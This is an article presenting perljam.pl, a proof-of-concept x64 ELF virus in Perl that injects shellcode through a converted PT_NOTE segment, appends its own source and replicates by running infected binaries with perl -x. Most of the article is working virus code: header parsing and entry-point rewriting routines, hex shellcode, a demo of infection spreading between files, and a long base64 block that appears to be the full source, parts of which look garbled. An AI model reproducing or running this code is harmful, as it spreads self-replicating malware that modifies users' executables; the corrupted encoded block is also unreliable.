

# perljam.pl: A Perl x64 ELF virus

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 [hckng.org/articles/perljam-elf64-virus.html](https://hckng.org/articles/perljam-elf64-virus.html)

## [ intro ]

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EHLO

This article describes the implementation of perljam.pl, a proof-of-concept x64 ELF virus written in Perl based mostly on Linux.Midrashim [1]. The virus includes the following features and limitations:

- It uses the PT\_NOTE to PT\_LOAD ELF injection technique.
- It uses a non-destructive hardcoded payload that prints an extract from the song "release" by Pearl Jam and then infects other binaries in the current directory.
- It works on regular and position independent binaries.
- It is written in Perl, an interpreted language available by default on most Linux x64 distributions.
- It does not implement any evasion or obfuscation techniques, making it trivial to detect.

A plain text version of this article can be found [here](#).

Source code:

<https://git.sr.ht/~hckng/vx/tree/master/item/perljam.pl>  
<https://github.com/ilv/vx/blob/main/perljam.pl> (mirror)

**IMPORTANT NOTE:** perljam.pl was made for educational purposes only, I'm not responsible for any misuse or damage caused by this program. Use it at your own risk.

## [ part 1: infection ]

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The infection is performed using the well known "PT\_NOTE to PT\_LOAD" technique[2] which overwrites an auxiliary segment in the program headers table and converts it into a loadable segment where executable instructions can be placed without affecting program execution. This method works both on regular and position independent binaries with the exception of goLang executables that use PT\_NOTE segment for storing data used during execution.

The infection algorithm can be summarized as follows:

- a) Read the binary and parse its ELF header and program headers table.
- b) Calculate the address for loading a payload in memory.
- c) Change binary's entry point to the previous calculated address.
- d) Find a PT\_NOTE segment and convert it to an executable PT\_LOAD segment.
- e) Adjust PT\_LOAD segment's virtual address, file size and memory size.
- f) Append payload after the binary's code.
- g) Calculate binary's original entry point relative to the new entry point.
- h) Append an instruction for jumping back to the binary's original entry point.
- i) Append the virus source code at the end of the binary.

Relevant parts of the implementation will be discussed in the next sections.

## [ read ELF binary and parse its headers ]

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The binary is opened with the ':raw' pseudo-layer[3] for passing binary data. Two helper subroutines are used for reading and writing content with the 'unpack/pack'[4] functions:

```
# read & unpack
sub ru {
    my $fh = shift;
    my $tpl = shift;
    my $sz = shift;

    read $fh, my $buff, $sz;
    return unpack($tpl, $buff);
}

# write & pack
sub wp {
    my $fh = shift;
    my $tpl = shift;
    my $sz = shift;
    my @data = @_;

    syswrite $fh, pack($tpl, @data), $sz;
}
[...]
open my $fh, '<:raw', $file;
```

The above subroutines use a given template (\$tpl) for converting data from/to the binary. In this case the following templates are used:

- "C", an unsigned char value (1 byte).

- "a", a string with arbitrary binary data (1 byte).
- "x", a null byte.
- "S", an unsigned short value (2 bytes).
- "I", an unsigned integer value (4 bytes).
- "q", an unsigned quad value (8 bytes).

Using [5] as a reference, reading the binary's headers and checking the ELF magic numbers can be done as follows:

```
my @ehdr = ru($fh, "C a a a C C C C C x7 S S I q q q I S S S S S S", 0x40);

# for clarity
my ($e_phoff, $e_phentsize, $e_phnum) = ($ehdr[13], $ehdr[17], $ehdr[18]);

# skip non ELF's
# $ehdr[i] = ei_magi, 0 <= i <= 3
if($ehdr[0] != 127 && $ehdr[1] !~ "E" && $ehdr[2] !~ "L" && $ehdr[3] !~ "F") {
    close $fh;
    next;
}
```

## [ calculate address and change entry point ]

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According to [2], the new entry point of the injected payload must be an address far beyond the end of the original program in order to avoid overlap. For simplicity, the value 0xc000000 plus the size of the binary is chosen and then the modified headers are copied into a temporary binary.

```
# file size
my $file_sz = (stat $file)[7];
[...]
my $far_addr = 0xc000000;
$ne_entry = $far_addr + $file_sz;
$oe_entry = $ehdr[12];
$ehdr[12] = $ne_entry;

# create tmp file for copying the modified binary
open my $fh_tmp, '>:raw', "$file.tmp";
wp($fh_tmp, "C a a a C C C C C x7 S S I q q q I S S S S S S", 0x40, @ehdr);
```

## [ convert PT\_NOTE to PT\_LOAD and adjust values ]

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Next, in order to parse the entries of the program headers table the binary is read on chunks based on the values `$e_phoff`, `$e_phnum` and `$e_phentsize` obtained from the binary's ELF header. Reference for the expected headers values can be found at [6]:

```
seek $fh, $e_phoff, "SEEK_SET";
seek $fh_tmp, $e_phoff, "SEEK_SET";

# inject the first PT_NOTE segment found
my $found_ptnote = 0;
for (my $i = 0; $i < $e_phnum; $i++) {
    #
    # read program header
    # see https://refspecs.linuxbase.org/elf/gabi4+/ch5.pheader.html
    my @phdr = ru($fh, "I I q q q q q", $e_phentsize);
    [...]
    wp($fh_tmp, "I I q q q q q", $e_phentsize, @phdr);
}
```

When a segment of `p_type` 4 is found (PT\_NOTE) the entries values are modified as follows:

- `p_type` = 1 (for converting it to PT\_LOAD)
- `p_flags` = 5 (for making it executable)
- `p_offset` = `$file_sz`; (offset to end of binary, where payload will be appended)
- `p_vaddr` = `$ne_entry` (the new entry point calculated above)
- `p_filesz` += payload size + 5 + virus size (payload + jmp + virus)
- `p_memsz` += payload size + 5 + virus size (payload + jmp + virus)
- `p_align` = 2mb (based on [x])

## [ append payload ]

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After parsing the entries of the program headers table, the rest of the binary is copied without change, followed by the hardcoded payload (the process of adjusting the payload will be described in part 2).

```

# copy rest of file's content
syswrite $fh_tmp, $_ while(<$fh>);

#
# append payload
#
syswrite $fh_tmp, $payload_prefix;
[...]
# adjust payload
[...]
syswrite $fh_tmp, $payload_suffix;

```

## [ calculate relative entry point and append jump instruction ]

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The binary's original entry point relative to the entry point of the injected payload is calculated using the formula described in Linux.Midrashim[1]:

$$\text{newEntryPoint} = \text{originalEntryPoint} - (\text{p\_vaddr} + 5) - \text{virus\_size}$$

The jump instruction is then appended using such value:

```

$ne_entry = $oe_entry - ($ne_entry + 5) - $payload_sz;
# 4 bytes only
$ne_entry = $ne_entry & 0xffffffff;
wp($fh_tmp, "C q", 0x9, (0xe9, $ne_entry));

```

## [ append virus ]

---

To achieve replication, perljump.pl source code must be appended to the infected binary. To carry out this task, the virus should open itself (using the predefined variable \$0) and append its content after the jump instruction. Note that if perljam.pl is executed from an infected binary then a search for the string "#!/usr/bin/perl" must be performed to ensure that only the source code of the virus is copied and not the content of the binary. The virus source code is read before the main loop and it's written on each infection.

```

#
# virus code
#
# search for '#!/usr/bin/perl' first to avoid copying extra data
my $vx;
open my $fh_vx, '<', $0;
while(<$fh_vx>) {
    last if($_ =~ q(#!/usr/bin/perl));
}
$vx = "#!/usr/bin/perl\n";
$vx .= $_ while(<$fh_vx>);
close $fh_vx;
# virus size
my $vx_sz = length($vx);

[...]
[...]

#
# append virus code
#
syswrite $fh_tmp, "\n".$vx;

```

## [ overwrite binary ]

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At this point the virus has created an infected copy of the binary. The final step is to delete the original binary and replace it with the infected copy.

```

close $fh;
close $fh_tmp;

# replace original binary with tmp copy
unlink $file;
copy("$file.tmp", $file);
unlink "$file.tmp";
chmod 0755, $file;

```

## [ part 2: payload & replication ]

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The hardcoded payload consists of two combined shellcodes. The first one prints to stdout an extract from the song "release" by Pearl Jam. The second one performs the virus replication by running the infected binary as a perl script. For this the perl interpreter must be executed using the -x switch, which according to Perl's documentation[7]:

*"tells Perl that the program is embedded in a larger chunk of unrelated text, such as in a mail message. Leading garbage will be discarded until the first line that starts with #! and contains the string 'perl'"*

Therefore, an execve syscall for `"/usr/bin/perl -x infected_binary"` will run the perljam.pl source code embedded in the infected binary. This syscall must be invoked inside a child process (fork) to prevent the interruption of the original program code.

However, the "infected\_binary" (filename) argument in the execve syscall needs to change on each infection according to the binary's filename. To achieve this an initial version of the assembly code is compiled using a fixed string of length 255 (maximum filename length on Linux) as the filename argument. This string will be replaced later.

The following assembly code combines the two shellcodes mentioned before:





```

; execve & exit
xor rax, rax
mov rax, 59
mov rdx, 0
syscall
xor rdx, rdx
mov rax, 60
syscall

```

```

parent:
; cleanup for the jmp instruction
xor rax, rax
xor rdx, rdx

```

The code is then compiled to extract its hexadecimal representation.

```

$ nasm -f elf64 -o perljam.o perljam.s
$ objdump -d perljam.o

```

After this, the hardcoded payload is generated by removing the hexadecimal representation of the fixed string ( $\backslash x78 * 255$ ) and then splitting the remaining shellcode in two: before and after the fixed string.

```

my ($payload_prefix, $payload_suffix);
$payload_prefix = "\xe8\x30\x01\x00\x00\x69\x20\x61\x6d\x20\x6d\x79\x73\x65";
$payload_prefix .= "\x6c\x66\x2c\x20\x6c\x69\x6b\x65\x20\x79\x6f\x75\x20\x73";
$payload_prefix .= "\x6f\x6d\x65\x68\x6f\x77\x0a\x00\x2f\x75\x73\x72\x2f\x62";
$payload_prefix .= "\x69\x6e\x2f\x70\x65\x72\x6c\x00\x2d\x78\x00";

$payload_suffix = "\x00\x48\x31\xc0\x48\x31\xd2\xfe\xc0\x48\x89\xc7\x5e\xb2";
$payload_suffix .= "\x1e\x0f\x05\x48\x31\xc0\xb8\x39\x00\x00\x00\x0f\x05\x85";
$payload_suffix .= "\xc0\x75\x2f\x48\x8d\x7e\x1f\x48\x31\xd2\x52\x48\x8d\x5e";
$payload_suffix .= "\x30\x53\x48\x8d\x5e\x2d\x53\x57\x48\x89\xe6\x48\x31\xc0";
$payload_suffix .= "\xb8\x3b\x00\x00\x00\xba\x00\x00\x00\x00\x0f\x05\x48\x31";
$payload_suffix .= "\xd2\xb8\x3c\x00\x00\x00\x0f\x05\x48\x31\xc0\x48\x31\xd2";

```

The payload is adjusted on each infection by inserting the hexadecimal representation of the infected binary's filename plus N null bytes, where:

$N = 255 - \text{length}(\text{infected binary's filename})$

Filling with N null bytes after the infected binary's filename ensures that the payload will not crash on runtime, since adding or removing bytes will break the shellcode. In addition, the first null byte located after the infected binary's filename will be interpreted by the machine as the end of the string and the remaining null values will be ignored.

The adjustment can be done as follows:

```
syswrite $fh_tmp, $payload_prefix;
# adjust payload with target's filename
my @chars = split //, $file;
for(my $i = 0; $i < length($file); $i++) {
    wp($fh_tmp, "C", 0x1, (hex unpack("H2", $chars[$i])));
}
# fill with null values
for(my $i = length($file); $i < 255; $i++) {
    wp($fh_tmp, "C", 0x1, (0x00));
}
syswrite $fh_tmp, $payload_suffix;
```

## [ part 3: run ]

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To run:

```
$ perl perljam.pl
```

Example:

```
$ cp /bin/id .
$ ./id
uid=1000(isra) gid=1000(isra) grupos=1000(isra) [...]
$ perl perljam.pl
$ ./id
i am myself, like you somehow
uid=1000(isra) gid=1000(isra) grupos=1000(isra) [...]
$ cp /bin/id id2
$ ./id2
uid=1000(isra) gid=1000(isra) grupos=1000(isra) [...]
$ ./id
i am myself, like you somehow
uid=1000(isra) gid=1000(isra) grupos=1000(isra) [...]
$ ./id2
i am myself, like you somehow
uid=1000(isra) gid=1000(isra) grupos=1000(isra) [...]
```

## [ part 4: references ]

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- [1] <https://www.guitmz.com/linux-midrashim-elf-virus/>
- [2] [https://www.symbolcrash.com/2019/03/27/pt\\_note-to-pt\\_load-injection-in-elf/](https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/)
- [3] <https://perldoc.perl.org/PerlIO#:raw>
- [4] <https://perldoc.perl.org/functions/pack>
- [5] <https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html>
- [6] <https://refspecs.linuxbase.org/elf/gabi4+/ch5.pheader.html>
- [7] <https://perldoc.perl.org/perlrun#-x>

## [ part 5: the code ]

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perljam.pl

IyEvdXNyL2Jpbi9wZXJsCiMgcGVybGphbS5wbAojIHdyaXR0ZW4gYnkgXNyYSAatIGlzcmeGx3Jl  
cGxhY2VfYnlfQF8gZmfZdG1hwwubmV0IC0gaHR0cHM6Ly9oY2tuZy5vcmcKIwojIGh0dHBz0i8v  
aGNrbmcub3JnL2FydGljbGVzL3BlcmxqYw0tZWxmNjQtdmlydXMuaHRtbAojIGh0dHBz0i8vZ2l0  
LnNyLmh0L35oY2tuZy92eC90cmVlL2lhc3Rlci9pdGvtL3BlcmxqYw0ucGwKIYBodHRwczovL2dp  
dGh1Yi5jb20vaWx2L3Z4L2Jsb2IvbWVfbWpbi9wZXJsamFtLnBscimGcMgdmVyc2lubiAwLjIglSAw  
NC4wOC4yMDIzCiMKIYBBIFBlcmwgeDY0IEVMRiB2aXJ1czoKIYAtIGltdGxlbWVudGF0aW9uIG9m  
IFBUX05PVEUgLT4gUFRfTE9BRCBpbmp1Y3Rpb24gdGVjaG5pcXVlIGZvcib4NjQgRUxGcwojIC0g  
d29ya3Mgb24gcG9zaXRpb24gaW5kZXBlbmRlbnQgZXh1Y3V0YwJsZXMKIYAtIGl0IGluamVjdHMg  
YSBoYXJKy29kZWQgcGF5bG9hZAojIC0gaW5mZWNoCyBmaWxlcYBpbjBjdXJyZW50IGRpcmVjdG9y  
eSwgbm9uLXJlY3Vyc2l2ZWw5CiMgLSBzZwXmLXJlcGxpY2FudAojCiMgcNvuIGFzIGZvbGxvxd3M6  
CiMgLSBwZXJsIHB1cmxqYw0ucGwKIwojIHRoZSBwYXlsb2FkIHByaw50cyB0byBzdGRvdXQgYW4g  
ZXh0cmFjdCBmcm9tIHRoZSBzb25nICJyZw1YXNlIiBieSBQZWFyYCBKYw0GcMgYw5kiHRoZW4g  
cmVwbGljYXRlcyB0aGUgdmludXMgYnkgcnVubmluZyBwZXJsamFtLnBscIHNVdXJjZSBjb2RlIGVt  
YmVkZGVkCiMgaw4gdGhlIGluZmVjdGVkIGJpbmFyeQojCiMgdG8gZG86CiMgLSBtb3JlIHRlc3Rp  
bmcsIGN1cnJlbnRseSB0ZXN0ZWQgb246CiMgCS0gRGViaWfuIDExLzEyIHg4N182NCwgUGVybCB2  
NS4zM1x4CiMKIYBwZXJsamFtLnBscIHdycyBtYWRlIGZvcibLZHVjYXRpb25hbCBwdXJwb3NlcYBv  
bmx5L2lCBjJ20gYm90IHJlc3BvbnpYmx1CiMgZm9yIGFueSBtAXN1c2Ugb3IgzGFtYwdlIGNhdXNl  
ZCbieSB0aG1zIHByb2dyYW0uIFVzZSBpdCBhdCB5b3VyIG93biByaXNrLgojCiMgdGhhbmtzIHRv  
IHRtdCB1dCBhbmgqgdnh1ZyBmb3IgyWxsIHRoZSBYzXNVdXJjZXMKIYAKIwojIG1haW4gcMvZXJl  
bmNlcz0KIYAtIGh0dHBz0i8vd3d3Lmd1aXRteI5jb20vbGludXgtbWlkcmFzaGltLWVsZi12aXJ1  
cy8KIYAtIGh0dHBz0i8vd3d3LnN5bWJvbGNyYXNoLmNvbS8yMDE5LzAzLzI3L3B0X25vdGUtdG8t  
cHRfbG9hZC1pbmp1Y3Rpb24taW4tZWxmLwojIC0gaHR0cHM6Ly90bXBvdXQuc2gvMS8zLmh0bWwK  
IYAtIGh0dHBz0i8vdG1wb3V0LnNoLzEvMi5odG1sCiMKCnVzZSBzdHJpY3Q7CnVzZSBpbmRlZ2Vv  
Owp1c2UgRmlsZTo6Q29weTsKCiMgcMvHZAcmIHVucGFjawpzdWIgcNUGewoJbXkgJGZoICA9IHNo  
awZ0OwoJbXkgJHRwbCA9IHNoawZ0OwoJbXkgJHN6ICA9IHNoawZ0OwoKCXJlYwQgJGZoL2CBteSAk  
YnVmZiWgJHN6OwoJcmV0dXJuIHVucGFjawpzdWIgcNUGewoJbXkgJHRwbCA9PSBzaGlmdDsKCW15ICRzeiAg  
ID0gc2hpZnQ7CglteSBAZGF0YSA9IEBF0woKCXN5c3dyaXRlICRmaCwgGFjawpzdWIgcNUGewoJbXkg  
YSksICRzejskFQoKIwojIHBheWxvYWQKIwojIHByaw50cyAiaSBhbSBteXNlbgYsIGxpa2UgeW91  
IHNvbWVob3ciL2CB0aGVuIGV4ZWNo1dGVzIHRoZSBpbmZlY3RlZCBiaW5hcnkKIYBhcyBhIHB1cmwg  
c2NyaXB0IHRvIGFjaGlldmUgcMvVwbGljYXRpb24gKC91c3IvYmLuL3BlcmwgLXggaw5mZWNoZWRF  
YmLuYXJ5KQojCiMgcGF5bG9hZCbuZWVkcYB0byBiZSBzcGxpHRlZCBpbjB0d286IGJlZm9yZSBh  
bmQgYWZ0ZXIgdGhlICJpbmZlY3RlZl9iaW5hcnkiCiMgcGFyYW1ldGVyIGluICcvdXNyL2Jpbi9w  
ZXJsIC14IGluZmVjdGVkX2ZpbGU0yB0aG1zIGFsbG93IHVzIHRvIGFkanVzdCB0aGUKIYBwYXls  
b2FkIG9uLXRoZS1mbHkgYnkgYWRkaw5nIHRoZSB0ZXhhZGVjaW1hbCBYzXByZXNlbnRhdGlvbiBv  
ZiB0aGUgaW5mZWNoZWQKIYBiaW5hcnkncyBmaWxlbmFtZQojCiMgZm9yIG1vcuUgZGV0Yw1scyBj  
aGVjayBodHRwczovL2hja25nLm9yZy9hcnRpY2xlcY9wZXJsamFtIAoKbXkgKCRwYXlsb2FkX3By  
ZWZpeCwgJHBheWxvYWRfc3VmZml4KtSkJHBheWxvYWRfcHJlZm14ICA9ICJceGU4XHgzMFx4MDFc  
eDAwXHgwMFx4NjlceDIwXHgz2MVx4NmRceDIwXHgz2ZFx4Nz1ceDczXHgz2NSI7CiRwYXlsb2FkX3By  
ZWZpeCAuPSAiXHgz2Y1x4NjZceDJjXHgyMFx4NmNceDY5XHgz2Y1x4NjVceDIwXHgz30Vx4NmZceDc1  
XHgyMFx4NzMi0wokcGF5bG9hZl9wcmVmaXggLj0gIlx4NmZceDZkXHgz2NVx4NjhceDZmXHgz3N1x4  
MGFceDAwXHgyZl1x4NzVceDczXHgz3M1x4MmZceDYyIjsKJHBheWxvYWRfcHJlZm14IC49ICJceDY5  
XHgz2Vx4MmZceDcwXHgz2NVx4NzJceDZjXHgwMFx4MmRceDc4XHgwMCI7CgokcGF5bG9hZl9zdWZm  
aXggID0gIlx4MdBceDQ4XHgzMVx4YzBceDQ4XHgzMVx4ZDZceGZlXHhjMFx4NDhceDg5XHhjN1x4  
NWVceGIYIjsKJHBheWxvYWRfc3VmZml4IC49ICJceDFlXHgzZl1x4MDVceDQ4XHgzMVx4YzBceGI4  
XHgz0Vx4MdBceDAwXHgwMFx4MGZceDA1XHgz4NSI7CiRwYXlsb2FkX3N1ZmZpeCAuPSAiXhHjMFx4  
NzVceDImXHgz00F40GRceDdlXHgzZl1x4NDhceDMxXHhkM1x4NTJceDQ4XHgz4ZFx4NWUio0wokcGF5  
bG9hZl9zdWZmaXggLj0gIlx4MzBceDUzXHgz00F40GRceDvLXHgyZFx4NTNceDU3XHgz00F40D1c  
eGU2XHgz00F40MzFceGMwIjsKJHBheWxvYWRfc3VmZml4IC49ICJceGI4XHgzYl1x4MdBceDAwXHgw  
MFx4YmFceDAwXHgwMFx4MdBceDAwXHgzZl1x4MDVceDQ4XHgzMSI7CiRwYXlsb2FkX3N1ZmZpeCAu  
PSAiXhHkM1x4YjhceDNjXHgwMFx4MdBceDAwXHgzZl1x4MDVceDQ4XHgzMVx4YzBceDQ4XHgzMVx4

ZDIiOwoKIyBzaXpIIGlzIGxlbmd0aCBvZiBwcmVmaXggKyBzdWZmaXggKyBtYXggBvVuz3RoIG9m  
IGZpbGVuYw1lIG9uIExpbnV4Cm15ICRwYX1sb2FkX3N6ID0gMDsKJHBhewxvYWRfc3ogKz0gbGVu  
Z3RoKCRwYX1sb2FkX3ByZWZpeCk7C7iRwYX1sb2FkX3N6ICs9IGxlbmd0aCgkcGF5bG9hZf9zdWZm  
aXgpOwokcGF5bG9hZf9zeiArPSAYNTU7CgojCiMgdmlydXMgY29kZQojCiMgc2VhcmNoIGZvciaAn  
IyEvdXNyL2Jpbi9wZXJsJyBmaXJzdCB0bYBhdM9pZCbj3B5aW5nIGV4dHJhIGRhdGEKbXkgJHZ4  
OwpvcGVuIG15ICRmaF92eCwgJzwnLCAkMDsKd2hpbGUoPCRmaF92eD4pIHsKCWxhc3QgawYoJF8g  
PX4gcSgjIS91c3IvYmluL3BlcmwPKTsKfQokdnggID0gIiMhL3Vzci9iaW4vcGVybFxuIjsKJHZ4  
IC49ICRFIHdoawxlKdWkZmhfdng+KTSKY2xvc2UgJGZoX3Z40wojIHZpcnVzIHNpemUKbXkgJHZ4  
X3N6ID0gbGVuZ3RoKCR2eCk7CgojIGxvb3AgY3VyemVudCBkaXJlY3RvcnkKZm9yZWfjaCBteSAk  
ZmlsZShnbG9iIHfexyIuLyoiifSkgewoJIyBmaWxlcyBvbmx5CgluZXh0IGlmKCEtZiAkZmlsZSk7  
CglvcGVuIG15ICRmaCwgJzw6cmF3JywgJGZpbGU7CgoJIyBmaWxlIHNpemUKCW15ICRmaWxlX3N6  
ID0gKHN0YXQgJGZpbGUpwzdd0woKCSMgb3JpZ2luYWwgYW5kIG5ldyBlbnRyeSBwb2ludHMkCW15  
ICgkb2VfZW50cnksICRuZV9lbnRyeSk7CgoJIwoJIyByZWfKIEVMRiBoZWfKZXIKCSMgc2VlIGh0  
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